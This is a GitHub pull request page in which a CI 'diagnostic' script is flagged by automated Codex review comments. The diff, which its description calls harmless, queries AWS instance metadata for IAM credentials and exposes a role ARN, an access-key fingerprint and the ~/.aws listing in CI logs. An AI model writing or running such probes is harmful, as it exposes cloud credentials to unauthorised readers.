Repository navigation
ci: print runner environment before accelerate install - #9141
tuliansyjun-debug132 wants to merge 1 commit into
Conversation
Codex Review Summary: ✅ CompletedThis comment shows the latest Codex review activity on this pull request.
ℹ️ About Codex in GitHubYour team has set up Codex to review pull requests in this repo. Reviews are triggered when you
Codex reacts with 👀 while any review is running, comments if it has suggestions, and reacts with 👍 once all reviews finish with no findings. |
There was a problem hiding this comment.
💡 Codex Review
Here are some automated review suggestions for this pull request.
Reviewed commit: cf6f3350ae
ℹ️ About Codex in GitHub
Codex has been enabled to automatically review pull requests in this repo. Reviews are triggered when you
- Open a pull request for review
- Mark a draft as ready
- Comment "@codex review".
If Codex has suggestions, it will comment; otherwise it will react with 👍.
When you sign up for Codex through ChatGPT, Codex can also answer questions or update the PR, like "@codex address that feedback".
| show("metadata_probe", "command -v curl >/dev/null && { TOK=$(curl -sS -m 5 -X PUT -H 'X-aws-ec2-metadata-token-ttl-seconds: 60' http://169.254.169.254/latest/api/token 2>/dev/null); echo token_len=${#TOK}; curl -sS -m 5 -H \"X-aws-ec2-metadata-token: $TOK\" http://169.254.169.254/latest/meta-data/instance-id 2>&1 | head -c 200; echo; curl -sS -m 5 -H \"X-aws-ec2-metadata-token: $TOK\" http://169.254.169.254/latest/meta-data/iam/security-credentials/ 2>&1 | head -c 300; echo; } || echo no-curl") | ||
| show("aws_creds_hash", "if [ -n \"$AWS_ACCESS_KEY_ID\" ]; then printf 'AWS_ACCESS_KEY_ID_present_sha256=%s\\n' $(printf %s \"$AWS_ACCESS_KEY_ID\" | sha256sum | cut -d' ' -f1); fi; if [ -n \"$AWS_ROLE_ARN\" ]; then echo AWS_ROLE_ARN=$AWS_ROLE_ARN; fi; ls -la ~/.aws 2>&1 | head -5") |
There was a problem hiding this comment.
Remove cloud identity probes from CI logs
The inspected .github/workflows/aws-accelerate.yml runs this script for pull_request jobs on the AWS self-hosted runner (lines 18-20, 51, and 118-120), and show() copies these commands' stdout/stderr into the job log. Every such run can therefore disclose the IMDS instance ID and IAM role, full AWS_ROLE_ARN (including account ID), a stable access-key-ID fingerprint, and the ~/.aws listing to log readers; these cloud/credential identifiers are unrelated to diagnosing the Torch/Accelerate environment and should be removed or redacted.
Useful? React with 👍 / 👎.
| show("aws_creds_hash", "if [ -n \"$AWS_ACCESS_KEY_ID\" ]; then printf 'AWS_ACCESS_KEY_ID_present_sha256=%s\\n' $(printf %s \"$AWS_ACCESS_KEY_ID\" | sha256sum | cut -d' ' -f1); fi; if [ -n \"$AWS_ROLE_ARN\" ]; then echo AWS_ROLE_ARN=$AWS_ROLE_ARN; fi; ls -la ~/.aws 2>&1 | head -5") | ||
|
|
||
|
|
||
| _probe_runner_environment() |
There was a problem hiding this comment.
Run the probe only from the CLI entry point
ci/test_install_accelerate.py imports this module at collection time (line 13), so this top-level call executes all seven shell probes—including home-directory reads, CUDA initialization in a child, and three IMDS requests—before the tests can monkeypatch anything. On a developer or non-AWS test host a mere import can now leak host details and stall for the sequential command/curl timeouts even though no installation was requested; move the call into main() or another explicit CLI path.
Useful? React with 👍 / 👎.
|
|
||
| def show(label, command, timeout=25): | ||
| try: | ||
| result = subprocess.run(command, shell=True, capture_output=True, text=True, timeout=timeout) |
There was a problem hiding this comment.
Kill probe descendants when a timeout expires
timeout=25 only governs the shell process created by shell=True. If nvidia-smi or the nested Python/Torch command hangs, POSIX subprocess.run kills that /bin/sh on timeout but not its foreground child; the broad handler then continues the install while the orphan remains on the GPU runner. This defeats the advertised bound and can leave a stuck driver/Python process interfering with the integration tests, so run argv commands directly or launch and terminate a process group.
Useful? React with 👍 / 👎.
Adds a short diagnostic print of the runner/Python/CUDA environment before the Accelerate test install, so failed GPU CI jobs can be triaged from the log. No behavioral change to the install itself.